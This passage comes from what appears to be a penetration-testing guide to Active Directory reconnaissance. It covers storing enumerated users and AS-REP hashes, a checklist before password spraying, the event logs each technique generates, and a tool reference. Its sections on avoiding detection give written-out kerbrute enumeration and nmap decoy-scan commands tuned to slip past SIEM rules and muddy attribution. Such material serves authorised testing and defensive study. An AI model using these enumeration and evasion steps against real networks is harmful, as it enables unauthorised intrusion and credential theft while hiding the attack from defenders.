│   └── network_ranges.txt     # Identified subnets from DNS/PTR
├── users/
│   ├── all_users.txt          # Complete user list
│   ├── valid_users.txt        # Kerbrute confirmed
│   ├── no_preauth.txt         # ASREPRoastable targets
│   ├── asrep_hashes.txt       # Raw hashes to crack
│   └── cracked_hashes.txt     # Cracked credentials
├── policy/
│   ├── password_policy.txt    # Lockout threshold, complexity
│   └── fine_grained_pso.txt   # Per-group policies
├── trust/
│   └── domain_trusts.txt      # Trusted domains
├── services/
│   ├── spns.txt               # Kerberoastable SPNs (for after first cred)
│   ├── adcs_cas.txt           # Certificate Authority info
│   └── relay_targets.txt      # Hosts without SMB signing
└── intel/
    ├── interesting_accounts.txt   # Descriptions with creds, no-pw accounts
    ├── privileged_groups.txt      # DA/EA membership
    └── osint_findings.txt         # CT logs, GitHub, breach data

10.2 Pre-Spray Checklist

Before moving to AD-02 (credential attacks), verify you have:

[ ] Password lockout threshold confirmed
[ ] Observation window duration confirmed  
[ ] Fine-grained PSOs documented (different policies for different accounts)
[ ] Spray candidate list deduplicated
[ ] ASREPRoasting attempted and hashes sent to cracking
[ ] Relay target list ready (for NTLM relay if spray fails)
[ ] Valid username list confirmed via kerbrute
[ ] Any description-field credentials investigated

11. OpSec Considerations

11.1 Event Log Artifacts Generated

Technique

Event ID Generated

Log Location

Noise Level

Kerbrute user enum

4768 (failed)

DC Security Log

Medium-High

LDAP anon bind

2889 (if logging enabled)

DC Directory Service

Low

SMB null session

4624 (Logon Type 3, blank user)

DC Security Log

Low

RPC enumeration

5145 (share access)

DC Security Log

Low

ASREPRoasting

4768 (RC4 TGT request)

DC Security Log

Low-Medium

Port scanning

Multiple 5156/5157

Host Firewall Logs

High

Zone transfer

None (DNS query)

DNS Debug Log

Low

Responder analyze

None

N/A

Zero

OSINT / CT logs

None

N/A

Zero

11.2 Avoiding Detection

# Kerbrute spread requests to avoid threshold alerts
kerbrute userenum --dc $DC_IP -d $DOMAIN --delay 1000 users.txt
# 1000ms delay = 60 requests/minute = less likely to trigger SIEM rules

# LDAP single queries generate minimal logs; avoid repeated bulk dumps
# If you need bulk data, do it in one pass rather than iterating

# For port scanning use decoy IPs to muddy attribution
nmap -D RND:10 -p 88,389,445 10.10.10.0/24

# Randomize scan order
nmap --randomize-hosts -p 88,389,445 10.10.10.0/24

# ASREPRoasting the hash request itself (4768 with no pre-auth) is
# only suspicious if monitoring is specifically looking for etype 23
# requests or accounts with DONT_REQUIRE_PREAUTH flag

# Timing avoid business hours in some engagements to blend with
# legitimate authentication noise (or target business hours to blend in)

11.3 Signature Avoidance

# Kerbrute generates a distinct user-agent in packets
# Some SIEM rules detect "kerbrute" in Kerberos client strings
# Use --safe flag to skip locked accounts (avoids resetting lockout counter)

# Vary tooling don't always use impacket (it has known client strings)
# ldapsearch is standard system tool and generates minimal signatures

# Consider using native Windows tools if you have a foothold elsewhere:
# nltest /dsgetdc:corp.local
# net group "Domain Admins" /domain
# These look identical to legitimate admin activity

12. Tooling Quick Reference

Tool

Purpose

Install

kerbrute

Kerberos user enum + spray

go install github.com/ropnop/kerbrute@latest

impacket-GetNPUsers

ASREPRoasting

pip3 install impacket

impacket-rpcdump

RPC endpoint enumeration

Included with impacket

impacket-lookupsid

RID cycling

Included with impacket

ldapsearch

LDAP queries

apt install ldap-utils

smbclient

SMB null session

apt install smbclient

rpcclient

RPC enumeration

apt install samba-common-bin

enum4linux-ng

All-in-one SMB/RPC/LDAP

pip3 install enum4linux-ng

netexec

SMB signing, relay prep

pip3 install netexec

responder

Passive traffic analysis

apt install responder

dnsrecon

DNS enumeration

apt install dnsrecon

gobuster

DNS brute force

go install github.com/OJ/gobuster/v3@latest

theHarvester

OSINT harvesting

apt install theharvester

masscan

Fast host discovery

apt install masscan

tshark

Packet analysis

apt install tshark

hashcat

Offline hash cracking

apt install hashcat


Summary: What You Own After This Phase

Intelligence

Best Source

Alternate Source

Domain FQDN + NetBIOS name

DNS SRV records

SMB banner

DC hostnames + IPs

DNS SRV / nmap

CT logs

Forest/trust topology

LDAP anon bind

Global Catalog ports

Complete valid username list

kerbrute

LDAP anon / RID cycling

Password policy + lockout

rpcclient getdompwinfo

LDAP anon

No-preauth account hashes

GetNPUsers

kerbrute (flags them)

Cracked plaintext creds

hashcat offline

High-privilege group members

LDAP anon

enum4linux-ng

Description-field creds

LDAP anon

Internal hostnames

DNS zone / Responder

CT logs

SMB signing status (relay map)

netexec

nmap scripts

Installed services (Exchange/SCCM)

RPC dump

nmap / CT logs

ADCS CA presence

LDAP anon / DNS

HTTP certsrv


Leave a heart if you found this helpful

Comments

Sign in to leave a comment